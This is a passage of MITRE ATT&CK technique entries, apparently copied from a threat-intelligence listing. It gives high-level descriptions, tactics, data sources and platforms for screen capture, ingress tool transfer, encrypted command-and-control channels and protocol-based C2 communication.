Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre